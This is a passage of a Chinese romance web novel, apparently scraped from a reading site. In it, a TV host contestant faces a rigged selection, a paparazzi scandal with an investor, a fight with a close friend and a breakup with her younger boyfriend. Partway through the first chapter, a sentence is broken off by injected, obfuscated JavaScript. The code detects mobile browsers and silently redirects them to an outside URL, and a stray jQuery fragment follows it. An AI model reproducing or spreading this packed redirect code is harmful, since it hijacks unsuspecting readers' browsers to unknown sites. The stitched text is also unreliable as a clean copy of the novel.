但是,目前的大环境下,能拿到这份工作已经实属不易,付轻屿又觉得自己可以忍,不该太理想化,该妥协时也得适当低头。 付轻屿思来想去,又陷在旋涡里面,不知道自己想要什么了。 自从知道内幕,看透比赛规则后,付轻屿褪去前两场的紧绷状态,整个人更加从容,也发现了祁放的不对劲。 祁放变安静了,特别是今天,只有早上说了两句话。 付轻屿发消息问:“今天怎么不和我分享你的日常啦?怎么不给我发消息啦?是有什么事吗?” 祁放给老师干了一天活,打开付轻屿的消息,直接瘫坐原地,心都化了。 祁放一个没忍住,发了一长串语音,先解释完,又念叨今天的事。 语音发到后面,祁放开始收着说,语调语气都往下压,草草说完一天的事。 不管是沈则序,还是付轻屿本身的事,在选拔结束前,祁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966581|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放都可以不多说,不多问。但不代表他心如止水,半点不受影响,事就在那,没过去。 祁放其实挺不会藏事的。 付轻屿听着语音,越听越不对劲。祁放这几天很奇怪,不像之前欢快了,有的时候,话说到一半就开始打蔫。 付轻屿没再多想,一个电话打过去。祁放接得不慢,却没像往常那样叽叽喳喳的开口,电话沉默了两秒。 “你吃晚饭了吗?” “你怎么了?” 两人听着对方的话,都愣了下。 付轻屿先说:“没吃呢。藏什么事了,这两天蔫蔫的。”她心里有了个猜想,自己不愿承认罢了。 从主持人选拔开始,两人有二十多天没打过电话了,付轻屿肯定不记这事。祁放突然接到电话,本来就懵,被她点破心事后,更不知道怎么开口了。 “也没什么事。”祁放不愿在这个时候多说,怕影响付轻屿的状态,也显得自己无理取闹。 他大脑飞速旋转,编了个借口,“我新发布了一个短篇,反响超出预料太多,不适应,这两天总是担心后面。” 祁放说着,室友去吃饭,招呼了他一声。祁放打了个手势,让他们先去。 新出的短篇,付轻屿也看了,只有三话,热度确实蛮高的,画风吸睛,情节铺设紧凑合理,分镜更像是炫技来的。 原来是有心理压力啊。付轻屿莫名松一口气,开始安慰他。 祁放听着,又反过来给她宽心。 付轻屿蹙眉,感觉自己心跳加速,感觉变得更为敏锐。祁放不对劲,对于新发布的短漫,他完全不像有压力的样子。 祁放嘴比脑子快,向来藏不住事。他不愿意说的,还能有什么? 付轻屿苦笑了下,没再开口问。她不擅长发起冲突,倒是个规避风险的高手,没亲耳听到答案,还能装作不知道。 这通半生不熟的电话,以晚饭为由被付轻屿挂断了。 付轻屿愣了会神,简单收拾好东西,出门觅食。 情绪大起大落后,胃里空得难受,付轻屿在小区旁的面馆随便对付了一口,又漫无目的地溜达了半天,头脑放空后才回家。 回去路上,祁放给她分享音乐,东叔带头做的那首歌,正式发布了。付轻屿随手点开,歌曲节奏轻快,祁放的声音听着舒心,不知不觉间,循环了一路。 祁放不想说的话,就先暂放吧。 出门前客厅亮着灯,再回来,灯自己灭了。付轻屿按了两次开关,又查看物业群的消息,确定是停电了。 主持稿还剩收尾部分,付轻屿找出闲置的笔记本电脑,想着今天做完,明天再细改。 用浏览器搜索时,付轻屿看着陌生的登录账号,恍惚片刻才想起怎么回事。 颜泠闹绯闻那次,祁放用它电脑,没退出登录。 祁放的各种密码,付轻屿都知道。她从没查过祁放手机,看着眼前的账号,好奇心被勾出来,鬼使神差地翻了翻。 手指操纵着鼠标下滑搜索记录,突然顿住。 各种事后反应的词条中,最显眼的一条是‘4i能否有转为一爱的可能’。 付轻屿胸口发闷,耳边徘徊着嗡嗡声,眼里的词条逐渐发虚,模糊,出现幻影。 祁放真的后悔了吗? 51. 51 “恭喜恭喜。” 付轻屿和晋级失败的选手拥抱了下,“你很厉害,能跟你对上一场,我很荣幸。” “决赛加油。” “谢谢。”付轻屿笑着点头,视线扫过观众席。 沈则序没来,半决赛晋级名单和他说过的一样,内幕八成是真的。决赛选出两男一女,女主持人会拿到‘小公主’的主持位。 付轻屿收回视线,随着人潮往休息间走,接受大家对晋级的祝贺。她面上有说有笑的回应,心里却没有多少喜悦,更多的是迷茫犹豫。 她真想要‘小公主’的主持位吗?重新扮演个花瓶,就像陈声宏给她的设定一样,最后被舞台边缘化,被外界质疑主持能力,自己也怀疑自己…… 青峰卫视的主持人,这个头衔真够诱惑人的。 付轻屿停下脚步,转头看向舞台。晏清站在台上,身边环绕着工作人员,正在讨论决赛的场布安排。 晏清是制作人,沈则序都知道的内幕,她肯定也是知道的。 付轻屿转过身,原来在晏清眼中,她更适合做个花瓶、做个舞台的背景板吗?这场选秀的目标如此明确,付轻屿无奈笑了下,一时分不清是拿奖的人优秀,还是落选的人更胜一筹。 付轻屿卸完妆,收拾好东西回江城,赶去下一份工作,奇亚的夏季拍摄。 半决赛录制前,付轻屿跟祁放说明工作流程,奇亚的拍摄安排比较紧,要赶场子,没让他来永安。正巧录制结束在周四,祁放满课,也没法来。 回去路上,付轻屿点开漫画软件,祁放更新的两话,依旧稳定发挥,画技和剧情都在线,热度还在涨。 ‘方格子’是祁放漫画连载的作者名,‘示邑’是祁放作为插画师用的名字。 目前看来,‘示邑’要更出名些,‘方格子’被祁放藏的很好。 祁放在插画艺术节上露过面,后来因为直播绘画比赛的事,‘示邑’的名声也小涨一波。 前几天,东叔发布完歌曲,找祁放和陈昊飞驻唱,宣传酒馆。 酒馆宣传起来了,祁放也跟着火了把。有些眼尖的网友认出他,将之前直播绘画的事串起来,‘示邑’又跟着出来溜一圈。 付轻屿换到娱乐软件,搜索酒馆名字,排在前面的视频几乎都是关于新歌、祁放和陈昊飞。 付轻屿随便点了几个,都是酒馆客人拍的。视频里,祁放玩的开心,笑得跟个大傻子一样。 台下起哄送花递酒,能看出来,祁放很受欢迎。 付轻屿扬起的眼尾逐渐落下,压了压眉头,心中有股不爽,冲视频里的祁放狠狠点了下。 自己的小狗冲别人傻笑,很难不气吧? 付轻屿没翻评论区,换到祁放账号,只有两条酒馆宣传视频,还没网友拍的好看。她扫了眼私信,什么样的消息都有,其中有一条是‘有女朋友了?真的假的?’ 祁放没点开过私信,发完两条视频后,再没上过线。付轻屿关闭登录显示,无意间扫到他的简介,只写了六个字——有女朋友超爱。 付轻屿挑了下眉,满意地退出视频账号,给祁放发了条消息:我超爱的男朋友,明天想吃什么? 祁放:烧烤!烧烤!我明天下课就回去,给你庆祝晋级决赛! 付轻屿回完消息,又想起祁放的搜索记录,无声叹了口气。拖着也不是个事,得找个时间聊聊,万一有什么误会呢? 哪怕没误会,也别像上段感情一样,来回拉扯太伤神。付轻屿揉了揉太阳穴,祁放做的够多了,真没办法接受,当断即断,对两人都好。 空想容易,付轻屿看向车窗外,舍不得放他走。 奇亚拍摄现场,付轻屿来的晚,自然被安排在最后拍摄。 “亲爱的,前几次拍摄太赶,你们加入团队后,咱还没一起吃过饭呢。今晚没别的事吧?大家聚聚,就当互相了解一下,公司报销。” 付轻屿被发型老师揪住,只能通过镜子看向制片,“我们几个模特吗?还是大家都去?” 制片环视一圈,“小谭要回去接女儿,其余的人都来,就现场这些,没外人。” 听到没外人,付轻屿也就放心应下。 最后一套衣服拍摄完,付轻屿搭了摄影的顺风车,几人走得最晚,到饭店时,人差不多都坐齐了。 付轻屿前脚迈进包间,转头就看到一个外人。 沈则序为什么在这? 付轻屿无奈看了眼制片,说好的没外人呢? 沈则序一左一右都是美女,聊得正嗨,没分出多余的视线往门口看。 “轻屿啊,这边有空位,随便坐。” 眼下突然退场也不合适,付轻屿只好笑着应下。 这顿饭吃得还算愉快,沈则序忙着左右逢源,付轻屿也落得安心。 沈则序没架子,桌上多是些玩笑话,将周遭人逗得捧腹大笑。付轻屿瞧着,心里摇头,客服都没他能聊,也不嫌累。 多数时间,付轻屿都安静猫着,被人提到了,也应声几句,不冷不热地坐了一晚上。 为了躲游戏环节,付轻屿说去厕所,实际溜到外面,静静站了会。她一直不喜欢这种热闹场合,玩不进去。桌上越是热闹,她心里的那块小天地越静,跟神游一样,硬要玩,太折磨自己。 “躲这来了?” 付轻屿转头看到沈则序,也没过多解释,“清净。” 走廊尽头的窗口不大,沈则序顺着付轻屿的视线往外看,只能看到随风摆动的树叶,“考虑的怎么样了?” 付轻屿疑惑的“嗯”了声。 沈则序撑在窗台,往下看去,漫不经心道:“决赛的事啊,得奖,拿下傻白甜的主持位。” “能不能拿奖,还是个未知数,现在说这些太早。”付轻屿离他远一步,“投资方跟选手,站得太近,可不是个好事。” 沈则序笑:“这一层包场了。我的身份,比你更需要谨慎,小心使得万年船。” 付轻屿没答,沈则序又说:“晏清和谭评委都看好你,就算拿不了冠军,亚军应该不成问题。” 付轻屿淡淡道:“不一定,依照节目数据来看,我没什么热度。” 沈则序笑:“节目组说你热度高,不高也是高。” 付轻屿看了他一眼,“我拿不拿主持位,对你没什么影响吧?怎么感觉,你比我还在意这事?” “好奇啊,好奇你怎么选,人不该有点好奇心吗?”沈则序说,“青峰卫视的主持位,名利双收,多诱人啊。可惜,跟你之前的理想背道而驰。想掌握自己的话语权,这个主持位可不适合你。怎么选啊?” “好奇心害死猫。”付轻屿叹息,“那句话,你是从哪听的?” 沈则序摸索出烟盒,“哪句?” 付轻屿:“掌握自己的话语权。” “你之前的节目啊,自己说过的话都不记得了?”沈则序给她递了根爆珠,“付主持人,你这可不行啊,知道什么叫不忘初心吗?” 付轻屿笑了下,没接他的话,“你跟个花蝴蝶一样,整天聊完这个聊那个,不累吗?” 沈则序‘啧’了声,“你真是不懂享受,四处寻香是件乐事。” 付轻屿将烟叼在嘴里,沈则序抬手给她点了火。 付轻屿诧异过后,自然接受了。 火苗刚燎到香烟,沈则序也凑上前,借同一簇火苗点了烟。 付轻屿后撤半步,蹙眉看他,“知道‘分寸’这个词吗?” “听过。”沈则序收起打火机,吐烟笑道,“不是吧,一起点根烟,至于吗?” “至于。”付轻屿不留情面地说,“很招人烦的行为。” 沈则序笑了下,“啊,仅此一次。” 付轻屿:“那句话,我是听晏清说的,后来用它提醒自己。你奔错人了。” “我知道。”沈则序笑,“你可能不了解,当年那则丑闻的男主角是我小叔,我怎么会不知道。晏清已经选过了,这次看你的。所以,一定要赢啊。” 付轻屿蹙眉,关于晏清的事,终究没再多问。沈则序只顾自己开心玩乐,应该没心情跟她讨论旧事。 不过,适当猜想一下,也未尝不可。付轻屿:“你之前很喜欢晏清?” “喜欢?”沈则序掐灭烟头,“喜欢啊,我喜欢的人可太多了,一天爱上八九个,我现在还蛮喜欢你的。你要是感兴趣的话,我可以详细讲讲。” 付轻屿转身往回走,只留下句,“话不投机半句多。” “等你好消息。” 好消息没等到,第二天醒来,各种绯闻倒是满天飞了。 热搜上挂着付轻屿和沈则序的照片,饭店门口有几张,剩下的都是两人抽烟时拍的。 标题更是不堪入目,抓人眼球的一把好手。 不仅能编还能拍,这狗仔不当导演简直屈才,看标题文案知道是绯闻,不知道的,还以为偶像剧发宣传照了。 点烟时的借位照最离谱,真跟亲了一样。付轻屿想了下拍摄角度,狗仔躲在消防通道拍的。 热搜标题看的人头大,付轻屿揉了揉太阳穴。 沈则序本来就是热搜红人,花边新闻一箩筐,年前订完婚,这次标题可就更劲爆了。付轻屿也被翻了个底朝天,模特工作,主持人身份都被摆出来。 青峰卫视的主持人选拔,也没逃出狗仔的法眼。奇亚是投资方,付轻屿是选手,各种猜测变着花样往外冒。 沈则序辟谣速度极快,先是在热搜下硬刚,‘没朋友吗?没点过烟吗?什么事都能从你们嘴里搅成臭的,挣这个钱,晚上睡觉最好睁着眼点。’ 沈则序随后发布了一条动态,‘公司聚餐,哪来的什么私会,没见过两人抽烟啊?我能不知道自己订婚了,用你们一天天叭叭。再有,少来唧唧歪歪那点破事,付小姐可看不上我。’ 付轻屿看完沈则序的发言,脑袋更大了,急忙整理出一份声明,各平台都发了遍。 以前,沈则序从来不管自己的花边绯闻,这次举动反常,倒是引起了大家的兴趣。 有些网友说:【沈则序没订婚时,女朋友换的勤点,顶多落个花心的名号。订完婚可就不一样了,这不,跟狗仔急了。】 【为了两家公司的名声,就算真有事,他也不敢承认啊。】 【跟他订婚的小姐姐又不傻,跟个花孔雀订婚,还能是为了爱情啊,多半是合作,结了婚各玩各的。】 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付轻屿拍拍额头,碎碎念道:“果然,第一眼就感觉不对劲的人,绝对不能接触,这是什么扫把星啊。” 照这个情况来看,也不用纠结犹豫了,主持位跟她彻底无缘。‘沈则序出轨对象’‘选手带资进节目’随便一个帽子扣下来,都定死罪了,跟何况两个都沾了。 付轻屿再次打开手机,更混乱的情况出现了。 颜泠不仅怒怼狗仔,还在黑热搜下硬刚键盘侠,战绩可谓是风风火火,给吃瓜群众看得一愣又一愣。 【什么情况,颜泠跟付轻屿居然认识?】 【颜姐的战斗力一向很猛,可能单纯看不惯啦。】 【都在娱乐圈工作,认识很正常吧。】 【都不像什么好人。】 【颜姐怼那些营销号和恶臭男都是顺手的事。】 【一出这种事,污水就往女生身上泼,怎么不说花孔雀往漂亮姐姐身上贴呢?花孔雀自己都说了,人家都看不上他。】 几条热搜就跟滚雪球一样,越滚越大。 付轻屿给颜泠打电话,“这事你别掺和,沈则序那边在压热度了。你搅过来,又惹一身灰。” 颜泠怼狗仔的怒气没消,说话还带着火,“这时候不给你说话,啥时候说,等你被他们的唾沫星子淹死,我再出来哀怨几句啊?” 付轻屿抬手又落下,一早上什么都没干,就倒腾这些破事,脑袋都超负荷了。“现在什么都不用说,等着热度被压下去就好了。你是嫌营销号找你的毛病不够多吗?还是嫌网友觉得你不够刚啊?这是你该往上凑的时候吗?” 颜泠愣了两秒,“付轻屿,你什么意思?现在是我多管闲事了?我是为了谁? 这不是我该往上凑的时候,好啊,你说,你说什么时候我该凑上去,是等他们把你骂死,我再过来瞧一眼,还是等你涅槃重生、花团锦簇的时候,我再来沾沾光?来,你说,你说我什么时候该往上凑?” “我不是这个意思,”付轻屿烦躁地撩了把头发,“我确实为奇亚在工作,参加选拔时,奇亚是投资方,我是选手,这是不争的事实。 这个舆论漩涡,它对我来说就是不利的。就像沈则序出轨,假的,澄清了又能怎么样呢?大家信吗?他们只想看到他们愿意相信的。你说了也没用,不信的人就是不信。 你没必要走这趟浑水,等事过去就好了。我也不想看你沾这身浑水,出去被这个那个议论。” 颜泠被她气笑了,“我发现,你这些年真没白主持,绕来绕去的,嘴皮子厉害得不行。你就告诉我,这事怎么过去,我什么时候该说话?” 付轻屿被她堵哑了。 “付轻屿,你换位思考一下,这个时候,别说朋友,有个好心的、知情的人都想上手拉一把。你让我一边凉快去,你觉得我能凉快的了吗?”颜泠气得脑瓜子嗡嗡响,“你就憋吧,你什么事都能自己解决,你这么厉害,还跟我玩啥?” “我不是那个意思。”付轻屿叹气,“你能不能先考虑一下自己的处境,考虑一下这个事情的影响,考虑一下你日后的发展。” “你能不能考虑一下自己的处境……” 付轻屿打断她,“我考虑了,我现在一团糟,你也分分时候……” 颜泠脾气本来就急,干脆和她一起吵,“对,我这人就是不分时候,就爱跟人急。你这遭浑水,我还非走不可了!我不光走,我还在里面撒泼打滚,你不是爱念经吗,来来来,你念,给你念……” “颜泠!”付轻屿语调高了一个度,喊完之后,不仅电话那头安静了,四周都像消音一般,“你能不能别管我,就算我求你了,能不能别管我!” 电话那头沉默两秒,颜泠冷声道:“好,我不管你。你就自己憋着,憋的跟高三那年一样,一头扎水里,让人给你捞起来送我这。让我别管你,好啊,这次你死外面,我都不会管你,再被人捞起来,别往我家跑。 付轻屿,你就和你妈一样,一点都不管别人的感受。你活该,活该我不管你!我这辈子都不会再管你!” 电话那头彻底沉默了,付轻屿架着手机,傻站了好久,眼泪不知不觉滑了出来。 “我回来啦。” 52. 52 付轻屿急忙擦了下泪,收起手机。 祁放换好鞋进门,转头在客厅看到付轻屿,吓了跳,“你没备赛啊?” 付轻屿一时不知道该说什么,眼神在祁放身上打转,急切地寻找出口。 祁放两手满满,左边拎着半个西瓜,熟透的红心泛起沙,看着就甜,右边拎着两兜桃子,毛桃油桃都有。 祁放很会挑水果和蔬菜,付轻屿觉得他在这方面有特异功能,哪怕按照他说的方法选,也选不到一样口味的。 不该想这些,不该下意识逃避。付轻屿有些牵强地笑了下,“回来得挺快。” “回家嘛,肯定迈开腿跑。”祁放将水果放到茶几上,火急火燎地上前抱住付轻屿,“快想死我了。” 付轻屿埋头嗅他身上的味道,沐浴露淡淡的清香,衣服上还留有太阳的味道,混在一起,特别安心。 祁放不玩短视频软件,网上各种消息乱成一锅粥了,他这就像装了屏蔽仪器,什么都不知道。 付轻屿承认,有一瞬间,她窃喜祁放不爱在网上冲浪,就像这样什么都不知道,什么都不用做,已经足够了。 想法仅仅存在那一瞬间。 不管是身边朋友,还是学校里其他人的讨论,再有颜泠,祁放知道,不过是早晚的事。 付轻屿贪婪地享受着暴风雨前的平静。 “想我没?”祁放抱着她晃了两下,“没想别人吧。” 付轻屿笑,“想你了,想你都想不过来,哪有空想别人,想你一个就够了。” 祁放撤开点距离看她,“嗯?不对劲,嘴这么甜,是不是吃外面的野花了,我得检查一下。” 付轻屿无奈笑笑,在他腰上扭了把,还没来及说话,祁放已经贴了上来。 两人太久没见,都眷恋这个吻,祁放也没咋呼,吻技熟了,会缠人舌头了,极有耐心地索求。 付轻屿上下嘴唇碰了碰,被吮的有些痛,“小祁侦探,检查好了吗?” 祁放吃到甜头,不好的事情都可以靠边站,笑着说:“暂时检查好了。” “我看上你那西瓜了。”付轻屿说着,眼神已经分过去了。 昨晚的饭局没胃口,她简单吃了两口,今早处理一堆烂事,又没吃饭,脚底直发飘。祁放这个吻是甜,再甜也是在心里,挡不住饿的两眼发昏。 “又不吃早饭,早晚把你这坏毛病治过来。”祁放说着,人已经进了厨房,先是洗好勺子给付轻屿挖西瓜吃,顺手又煮了碗阳春面。 付轻屿抱着西瓜,从客厅到厨房,给祁放喂了口,“给你惯的,越来越没大没小了,现在都敢治到我头上来了。” “就治就治。”祁放臭嘚瑟两句,“这就是你男朋友该管的事,我不管谁管?等你把胃熬坏了,躺在床上打滚时就老实了。还有,我没比你小几岁,少拿岁数说事。” 床上怎么做,都是另说。祁放打心底觉得,付轻屿是他的人,得照顾好,得看住了。付轻屿有事,他就管得着,别人想管,还没这身份呢。 祁放也喜欢被管着,但付轻屿很少管他,都是撒开绳子随便跑。这么对比下来,在些小事上,倒是他管的多了。 “心里宽的没边儿,”祁放想着,开口醋了句,“也就我知道往家跑,换成别人,早野没了。” 付轻屿心头挂着炸弹,胆战心惊的,不知道什么时候要爆,祁放还有空吃口飞醋。她无奈笑笑:“心不宽点儿,也装不下你。” 祁放哼了声,“我在你心里横着长啊。” 付轻屿吃着西瓜看他,笑着没吭声。 早午饭吃得惬意,网上正腥风血雨,付轻屿全然没管,感觉这顿饭的时间是偷来的。 吃完饭,祁放收好碗筷,开始照顾阳台的绿植朋友,挨个施咒语。一段时间没回来,他和盆仙人球都能聊半天。 付轻屿笑着收回视线,拿出手机,该面对的还得面对。 半个多小时,颜泠的名字已经挂上热搜,彻底搅进这场舆论漩涡。 各种舆论唯恐天下不乱,聚集起一群看热闹不嫌事大的人。 付轻屿点开颜泠的热搜词条,她们的关系被人猜测议论诋毁,没什么好话,营销号也上赶着蹭饭。 付轻屿深吸一口气,虽然预料到是这个结果,真亲眼看到,很难不受影响。 颜泠还在血杀,谁怼她,她就怼谁,半点不惯着。 付轻屿还没想好下一步,李杨电话打进来了。 付轻屿看向阳台的祁放,转身去书房接电话,“颜泠没事吧。” “没事,在生气。”李杨没说废话,简单明了道,“听她说,你是奇亚的模特。” 付轻屿嗯了声。 “我这边先从绯闻下手,告到他们那,把这波压力给下去。”李杨说,“你和奇亚有合作,奇亚又投资了你参选的节目,这个需要品牌方和节目那边声明。” “这些沈则序那边都在做。”付轻屿说,“还是谢谢你。” 李杨语气很淡,“没什么。他们那边在做,声明不一定利于你,这两天需要盯紧,我这边这也看着,有什么情况,你随时联系我。” “谢谢。”付轻屿对李杨也说不出别的了。 李杨处理过几个类似情况,多说了两句,“网上的声音少听,哪怕奇亚和节目做了声明,悠悠众口,猜测和质疑是堵不住的。这次话题,对你来说,弊远大于利。在网上,有些时候真假并没人在意,或许他们只想证明自己的猜想,满足一下窥探欲,顺手感受一下随便把人踩在键盘上的支配感。少听少看那些不好的东西。” 付轻屿“嗯”了声,“颜泠就麻烦你了。” “应该的。”李杨顿了顿,“等这事过去,你们找时间聊一下吧,我先挂了。” 付轻屿又蚊子似的“嗯”了声,电话那头就挂断了。 四周安静的要命,付轻屿缓了缓,再次点开热搜,关于她的词条只增不减。选拔节目被人逐帧分析,使劲把她往黑热搜上贴。之前主持过的节目也被人扒出来,有的没的一顿分析。 特别是《趣事》后几期节目,在陈声宏接手后,放出来的甚至不是正片,而是拍摄花絮,断章取义地截了些片段。 有后台,有资源,有靠山,以前就在演播厅耀武扬威,一个帽子接着一个帽子扣下了。 陈声宏一口恶气憋坏了吧,可算找到落井下石的机会了。付轻屿滑出软件,没再看。 微信上不少关心问候的消息,付轻屿都没回。她先跟节目组和品牌方整理好声明,等两方发出后,各平台又转载了一遍。 全方位被舆论指摘,被恶意解读。所有热度言论压到一个人身上时,是要命的枷锁,并不万紫千红。 桌上瘫着各种资料,为选拔准备了好几个月,都快堆成堡垒了。付轻屿静静看着它们,看着曾经日夜奋斗的自己,哪曾想过会是这种结局。 决赛给了个主题,付轻屿闭眼沉思,在脑海中架起框架,剩下的留到现场发挥。她早就想这么做了,一直没勇气,现在结果已经不重要了,也没什么可顾虑的。当做给自己的奖励吧,用这么大的平台练习,还挺奢侈。 付轻屿摸索着手机,最终没打开。她忐忑地走出书房,看祁放在画稿,又松了口气。 四周太安静了,付轻屿才发现自己讨厌安静的氛围,特别是现在。 她看向祁放的背影,迈不开步。这种感觉就像淹没在海里,海水已经没过上唇,反复挑逗着鼻腔,让人呼吸困难,紧张地等待涨潮来临,彻底淹没到顶,却又不知道它何时会来。 祁放毫无征兆地转过头,好像后脑勺长了双眼睛,看到付轻屿杵在客厅,还把自己吓了跳。 “你怎么出来了?渴了?”祁放着急翻身,自己绊了脚,差点摔地上。 付轻屿虚扶一把,精神本来就紧绷着,心脏可不禁吓了。 祁放看出点不对劲,伸手在她额头搭了下,“怎么了?也没发烧啊,脸上都没血色了。” 付轻屿拍他手,“没事,被你吓的,起个身跟落了汤的螃蟹一样。” 祁放盯着她瞧,就感觉哪里不对劲,又说不上来。老人常说的丢魂了,应该就是这样,祁放非常相信科学,倒也不妨碍他想给付轻屿整段跳大神。 “看电影吗?” 付轻屿转身去拿喝的,祁放抬腿跟上去,“看!不准备决赛的东西了?” 付轻屿自己拿了瓶啤酒,给祁放递去瓶果汁,“准备完了,这次打算现场发挥。” 祁放接下果汁,往付轻屿手里瞧了眼,随手拦住冰箱门,做势要关的样子,手里一倒腾,果汁换啤酒。“让你说的,我想去现场看了。后期太慢,半决赛要下周才能看,我还等着给你发弹幕打call呢。” 现在的弹幕,指不定乱成啥了。付轻屿不想让祁放看节目,说出来显得更奇怪,思念半天,无声灌了口啤酒,没接这话。 两人窝在沙发看电影,时不时说两句情节。 祁放怀里抱着人,忍不住捞起来亲两口,心里美滋滋。自从主持人选拔开始,付轻屿就没个闲空,这么惬意的时光,好像都是上辈子的事了。 影片一直在放,两人依偎在沙发上,眼睛一闭一睁,天色已经黑了。 付轻屿先醒过来,投影仪的光亮映照在客厅,电影中的背景音在头上环绕,祁放还贴在她怀里。 醒了又像做梦。 付轻屿心里无声叹息,网上都不知道乱成啥样了,自己居然睡得挺香。她伸手摸了把手机,很轻一个动作,怀里的人跟着醒了。 祁放睁眼又闭上,两手将她环得更紧,嗓音沙哑道:“醒了。” 付轻屿放弃看手机的念头,暴风雨早晚要来,安宁的时光过一秒少一秒。 祁放的头发看着顺,摸着很硬挺,跟他这个人像。付轻屿将两人的头发混在一起摸,手指移到他额头,开始描绘五官。 祁放睁眼看她,突然怔住了。 付轻屿没有避开他的视线,依旧静静看着,带着离别前的眷恋。 这种眼神,祁放说不上来,像那晚两人刚在一起时,想把对方刻在眼里又带着些许青涩,现在的青涩褪去,模糊地覆盖上一层不舍。 “怎么了?”祁放动了动嘴唇,声音自己溜出来。 付轻屿看着他,轻轻摇头,“没事。” 祁放不安地愣神,又是这句‘没事’。 付轻屿终于收回令人惶恐不安的视线,淡淡开口:“我们点些烧烤在家吃吧,不想出去。” 祁放心还悬着,不知道该往哪落,只能讪讪地点头。 付轻屿说身上出了汗,转身去冲澡,将点烧烤的重任交付给祁放。她也想避开祁放,看一眼网上的战况。 早上的热搜词条落下去一些,同时也替换上新的。 付轻屿看着自己的名字和冯适摆在一起,心里咯噔了一下。 这段死透的‘地下恋’也被网友挖出来了? 付轻屿点进去,看到不是‘地下恋’的事,依旧愣了下。没想到这个时候,冯适会站出来帮她说话,在一起的时候费劲躲关系,分开后却贴上来了。 当欠个人情得了,也没啥好说的。付轻屿退出词条,将几条有关的热搜看了遍。 不仅冯适,还有好多人站出来替她说话,有些节目上帮过的人,也有些付轻屿都没印象了。 眼看舆论被掰正不少,付轻屿心里说不上来什么滋味,被大伙暖了一把,又觉得人情欠大发了。 简单冲了个澡,付轻屿换好睡衣走到客厅,“点好了吗?” 祁放坐在沙发上,侧身对着她,没说话,手臂小幅度发抖。 付轻屿神情一滞,该来的还是来了,没想到这么快。她没说话,轻声走到祁放身后,看他正在用‘示邑’的名号编辑声明,下意识抢了他的手机。 祁放脸色发白,没有表情地看她一眼,冷冷道:“给我。” 付轻屿打开手机看了眼,将他编辑好声明一口气删了,删完,又不知道该说什么,只能站的像个木头。 两人静静僵持了一会,祁放起身拿回手机。 祁放硬邦邦的,浑身冒冷气,一点都不热乎了,马上就要变成一头横冲直撞的牛,付轻屿知道他真生气了。 编辑好的声明被删了,祁放愣了下,死脑筋地重新写。付轻屿再次抢过他的手机,被抢回去就再抢回来。 两人比幼儿园抢零食 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“所以呢,我就该什么都不知道?!”祁放看她,“出了事为什么不跟我说?!都知道了,别人都知道了,我还得靠杨灿过来提醒才知道,我……我是你男朋友吧?你觉得这事能瞒住我?你到底是怎么想……” 付轻屿感觉四周被水淹没了,窒息的感觉重卷大脑。 她看着祁放,看他声嘶力竭,看这段关系一点点崩塌,嘴皮动了动,“这事你管不了,也管不下。你这条声明发出去是什么后果,你想过没,别人知道我们是男女朋友又能怎样?那些诋毁和质疑能消失吗?只会越来越多,你能不能老实待着,别再往浑水里趟了。我护不住你们,我没别的办法了,不想看你再……” “沈则序能管是吗?他能管的了。”祁放全身无力,心一直往深海沉,连挣扎的力气都快没有了,“冯适管的了,颜泠管的了,那些上过节目,跟你不熟的人都管的了,就我管不了。我不是你养在玻璃罩子里的花,见不得风听不得雨,我是个人,我有想法有情绪,我是你男朋友,我活生生的一个人……” 付轻屿被这话刺到了,她跟‘刘老师’也说过这话。颜泠那句‘你就和你妈一样,一点都不管别人的感受’重新旋绕在她耳边。 她怎么会和‘刘老师’一样? 付轻屿不知道自己怎么了,她心里好像有点生病了。 祁放顾不上眼泪,双手抬起想要控诉什么,又无力落下,“反正都吵架了,干脆就吵痛快点。 家庭、工作、之前的感情经历,不管是什么,我都没个知情权,什么事都不跟我说,我能事后听个音都是好的。我早就问过你吧,我们在一起只能分享开心吗?是我不成熟吗,还是你? 你现在不让我管,我就这么看着他们在网上诋毁你,然后装作什么都不知道,是吗? 付轻屿,你杀了我吧,我只要还活着,就做不到。” 付轻屿抬眼看他,那身影在水里摇晃,让人看不清,随着一滴泪落下,身影不再晃了,她还是看不清祁放的脸。 “付轻屿,你真喜欢我吗?”祁放哭着笑了下,“我知道我这人挺不要脸的,从开始就粘着你,上赶着逼你喜欢我,是不是因为你其实不、其实不喜欢我啊,所以什么都想把我隔绝开。 是我哪里不够好吗? 在外面我好像永远拿不出手,永远都在扮演‘表弟’。这样想,好像连宠物狗都算不上啊。出去遛狗,没人会在别人问起时,指着自己的狗说它是流浪狗吧。 好像只有回到这里,回到你家,我才是你男朋友,也不对,更像机器人保姆加泄.欲工具。上了床你也欺负人,就我自己赤条条地躺那,像个出来卖的,还卖不到你心里……” “祁放!”付轻屿真被这话刺到了。她不知道祁放心里这么憋屈,藏了这么多事,什么叫出来卖的?这事怎么能叫出来卖呢,她成什么人了,他又把自己当成什么了? 这么不情愿的话,又何必呢? 两人在一起,不就图个开心吗?这样……早晚也得散,耗在一起也没必要了。 “祁放,我们算了吧。” 这句话跟千斤锤一样轮过来,甚至还带回响。祁放一下慌了,手忙脚乱地抱住付轻屿,“不是,我不是这个意思,我错了,我说错话了,付轻屿,你不能跟我分手!” 付轻屿挣扎两下,没挣开,也就任由他抱着,“耗着也没必要,祁放,对不起,我们还是算了吧。” “我错了我错了,我胡说话,一生气就胡说话,我不是这个意思。我不问了好不好,我都不问了,我乐意的,当花当狗我都乐意,我再也不问了,你不让我做的,我都不做,我可以当做什么都不知道的,我可以!付轻屿,我都给你做了,你不能说不要就不要,你不能这样对我!” 付轻屿抬手给他擦泪,“对不起。” “我不要对不起,你说喜欢我!你快说喜欢我啊!”祁放想吻她,被挡开了。 付轻屿声音软下来叫他的名字,比生气发火更吓人。祁放知道,付轻屿真不要他了。 “别这么说自己,我都听不下去。”付轻屿给他擦泪,又用那种令他惶恐不安的眼神看过去,“我这人,就这样了,你要的感情,我、我给不了。我们算了吧,你听话,后面还能遇到更好的人,也、也别再这么傻。” “我不要,你跟我在一起了,就得在一起一辈子,我不问了,我什么都不问了……” 